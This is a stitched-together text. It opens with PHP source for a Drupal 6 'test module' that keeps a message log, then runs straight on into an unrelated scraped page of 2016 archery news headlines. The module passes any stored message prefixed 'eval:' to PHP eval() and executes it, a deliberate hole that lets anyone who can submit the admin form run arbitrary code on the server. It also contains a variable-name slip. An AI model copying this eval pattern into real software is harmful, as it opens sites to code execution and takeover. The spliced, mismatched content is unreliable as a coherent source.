// $Id$ /** * @file * A Test Module. */ /******************************************************************************* * Hook Functions (Drupal) ******************************************************************************/ /** * Display help and module information * @param path which path of the site we're displaying help * @param arg array that holds the current path as would be returned from arg() function * @return help text for the path */ function saacalendar_help($path, $arg) { //$output = '

'. t("test_module is a simple module to test functions and pages in Drupal"); // The line above outputs in ALL admin/module pages switch ($path) { case "admin/help/test_module": $output = '

'. t("test_module is a simple module to test functions and pages in Drupal") .'

'; break; } return $output; } // function saacalendar_help /** * Valid permissions for this module * @return array An array of valid permissions for the test_module module */ function saacalendar_perm() { return array('administer test_module', 'access test_module content'); } // function saacalendar_perm() /** * Menu for this module * @return array An array with this module's settings. */ function saacalendar_menu() { $items = array(); //Link to the test_module admin page: $items['admin/settings/test_module'] = array( 'title' => 'Test Module', 'description' => 'Administer Test Module Messages', 'page callback' => 'saacalendar_message', 'access arguments' => array('administer test_module'), 'type' => MENU_NORMAL_ITEM, ); return $items; } /** * Test Module Messages * @return array An array of form data. */ function saacalendar_message() { $page_content = ''; $page_content .= drupal_get_form('saacalendar_message_form'); $get_messages = db_query("SELECT * FROM {saacalendar_log} ORDER BY timestamp DESC"); if ($get_messages !== false) { $page_content .= "

Test Message Log

"; $row_count = 1; $id = 0; while($row = db_fetch_array($get_messages)) { $page_content .= "

"; foreach ($row as $key=>$value) { if ($key == 'id') $id = $value; if ($key == 'timestamp') $value = date('F j, Y G:i:s A', $value); if ($key == 'message') { if (strpos($value, 'eval:') !== false && $row_count === 1) { $value = trim(preg_replace('/eval:/', '', $value, 1)); eval($value); drupal_set_message(t("Executed code:\n").strval($value)); //Once the "eval:" code is evaluated, remove the "eval:" text to avoid executing the code again. db_query("UPDATE {saacalendar_log} SET message = '%s' WHERE id = %d", $value, $id); } $page_content .= "
\n"; } $page_content .= "".$key." = ".htmlspecialchars(strval($value))."  "; } $page_contents .= "

\n"; $row_count += 1; } } return $page_content; } /** * The callback function (form constructor) that creates the HTML form for saacalendar_message(). * @return form an array of form data. */ function saacalendar_message_form() { $form['saacalendar_message'] = array( '#type' => 'textarea', '#title' => t('Message'), '#default_value' => variable_get('saacalendar_message', 'Test Message'), '#cols' => 50, '#rows' => 5, '#description' => t("Enter a test message. Begin the message with \"eval:\" to execute PHPcode."), ); //Submit button: $form['submit'] = array( '#type' => 'submit', '#value' => t('Save Message'), ); return $form; } /** * Form validation for this module's settings * @param form an array that contains this module's settings * @param form_state an array that contains this module's settings */ function saacalendar_message_form_validate($form, &$form_state) { $saacalendar_message = $form_state['values']['saacalendar_message']; if (isset($saacalendar_message)) { if (!is_string($saacalendar_message) || $saacalendar_message == '') { form_set_error('saacalendar_message', t('Please enter a test message.')); } } } /** * Form submission for user data. * @param form an array that contains user data * @param form_state an array that contains user data */ function saacalendar_message_form_submit($form, &$form_state) { $test_message = $form_state['values']['saacalendar_message']; $exe_query = db_query("INSERT INTO {saacalendar_log} (timestamp, message) VALUES(%d, '%s')", time(), $test_message); $last_id = db_last_insert_id('{saacalendar_log}','id'); if ($exe_query !== false) { $msg = 'Added message to log: %id'; $vars = array('%id'=>$last_id); watchdog('test_module', $msg, $vars, WATCHDOG_INFO); drupal_set_message(t('Added message to log: ').strval($last_id)); } else { $msg = 'Could not add message to log: '; $vars = array(); watchdog('test_module', $msg, $vars, WATCHDOG_ERROR); drupal_set_message(t('Could not add message to log.')); } $form_state['redirect'] = 'admin/settings/test_module'; } Archery News | Links Archers

You are hereFeed aggregator / Categories / Archery News

Archery News


Paralympians seize chance to say thanks

Archery GB News - Thu, 2016-10-20 12:20

Our Rio heroes took to the streets of Manchester and London to say thanks to the British public. Yesterday our Paralympic archers carried out one final Rio duty: visiting perhaps their greatest supporters, the Worshipful Company of Fletchers

Categories: Archery News

A right royal welcome home!

Archery GB News - Tue, 2016-10-18 22:48

Yesterday 150,000 people braved pouring rain in Manchester to cheer our Olympians and Paralympians. Today they were lauded in Trafalgar Square - and tonight there was a right royal end to celebrations with a reception for medal winners at Buckingham Palace.

Categories: Archery News

Perfect day for clout champs

Archery GB News - Mon, 2016-10-17 13:59

A cool, calm, slightly breezy day. It really could not have been more perfect for the 172 archers competing in the 2016 National Clout Championships.

Categories: Archery News

Grants available for Boost Archery

Archery GB News - Mon, 2016-10-17 06:37

Archery GB is pleased to announce the launch of the latest round of its funding scheme to help clubs to deliver Boost Archery - a new course for improvers to receive dedicated coaching and support at their club. Grants of £350 are available to successful applicants.

Categories: Archery News

Making the Board stronger

Archery GB News - Thu, 2016-10-13 09:51

Archery GB has attracted two more high-calibre Independent Directors and co-opted Paralympian Pippa Britton to further strengthen the Board.

Categories: Archery News

Welcome our Rio heroes home!

Archery GB News - Mon, 2016-10-10 15:24

There's only a week to go before the achievements of our Olympic and Paralympic heroes are celebrated by homecoming celebrations in Manchester and London. So what's happening when and how can you join the party?

Categories: Archery News

Book now for GAC workshops

Archery GB News - Mon, 2016-10-10 15:15

Is your club great? Could you make it even better? Then come along to our Great Archery Club workshops to find out how!

Categories: Archery News

Top award for Paralympic coaches

Archery GB News - Fri, 2016-10-07 17:47

Michael Peart and Rikki Bingham are to receive prestigious Mussabini Medals at next month's UK Coaching Awards in recognition of their part in Great Britain's archery success in Rio.

Categories: Archery News

BULL'S-EYE: Archers can learn the basics in Southern Tier - Press & Sun-Bulletin

google news - Wed, 2016-08-17 16:50


Press & Sun-Bulletin

BULL'S-EYE: Archers can learn the basics in Southern Tier
Press & Sun-Bulletin
The archer then attaches the back of the arrow to the bow string, pulls back on the string with the release hand, aims and fires. Accuracy of the shot depends not only on the execution, but also making sure the archer is using properly fitted equipment ...

and more »

Categories: Archery News

Lucy is champion of Europe!

Archery GB News - Sat, 2016-07-23 19:43

Britain's national anthem rang out at the European Archery Championships in Bucharest today as Lucy Mason stepped up to receive the compound cadet gold medal.

Categories: Archery News

More medals for Britain!

Archery GB News - Thu, 2016-07-21 20:21

There were more medals for Great British cadets at the European Youth Championships in Bucharest today.

Categories: Archery News

Wishes do come true!

Archery GB News - Thu, 2016-07-21 15:58

Fine, calm weather topped the wish list as archers gathered for this year's English and Open Senior Longbow Championships. For once, the great British summer obliged - and it resulted in some stunning performances.

Categories: Archery News

Last chance for National Series places

Archery GB News - Thu, 2016-07-21 15:51

Disappointed that you could not get a place in this year's National Series? We may have the answer...

Categories: Archery News

Chance of a lifetime!

Archery GB News - Wed, 2016-07-20 11:01

Two of our brightest prospects - Jack Masefield and Lizzie Warner - are being given the opportunity of a lifetime: the chance to experience the Olympic environment this summer as part of the BOA's Ambition Programme.

Categories: Archery News

Preparation is everything

Archery GB News - Mon, 2016-07-18 18:05

It's been a busy few days for our Paralympians. First they showed off their official kit at the GB team launch in London and now they are busy taking part in a Rio rehearsal camp.

Categories: Archery News

Youth Appreciation Day Event Listing (as of July 12) - Montrose Daily Press

google news - Sat, 2016-07-16 22:56


Youth Appreciation Day Event Listing (as of July 12)
Montrose Daily Press
8-9 – 30 a.m. – Elks Pancake Breakfast - Montrose Elks Club, 801 S. Hillcrest. Free pancake breakfast for school-aged children. Parents/nonyouth $1.50 donation. 9-9:30 a.m. – Meet Yogi Bear - Jellystone Park, 22045 Hwy.550. Take a photo with Yogi Bear ...

Categories: Archery News

Longbows at the ready

Archery GB News - Sat, 2016-07-16 10:11

Longbow men and women have gathered in Nottinghamshire for the one of the biggest dates in their diary: the 2016 English and Open Longbow Championships.

Categories: Archery News

Great Britons unite for Team GB

Archery GB News - Fri, 2016-07-15 00:51

With the Olympic Games less than one month away, some of Britain's best loved faces from music, radio, TV, film and YouTube, have come together to get behind Team GB and show their support in the lead up to Rio 2016.

Categories: Archery News

Together We Will!

Archery GB News - Thu, 2016-07-14 00:04

A new national campaign has launched today to encourage and support disabled people, along with their friends and families, to become more active.

Categories: Archery News

#DiscoverYour ParaPotential

Archery GB News - Tue, 2016-07-12 15:03

Do you fancy your chances as a future Paralympian? Archery GB has signed up to a programme that could help you achieve your goal.

Categories: Archery News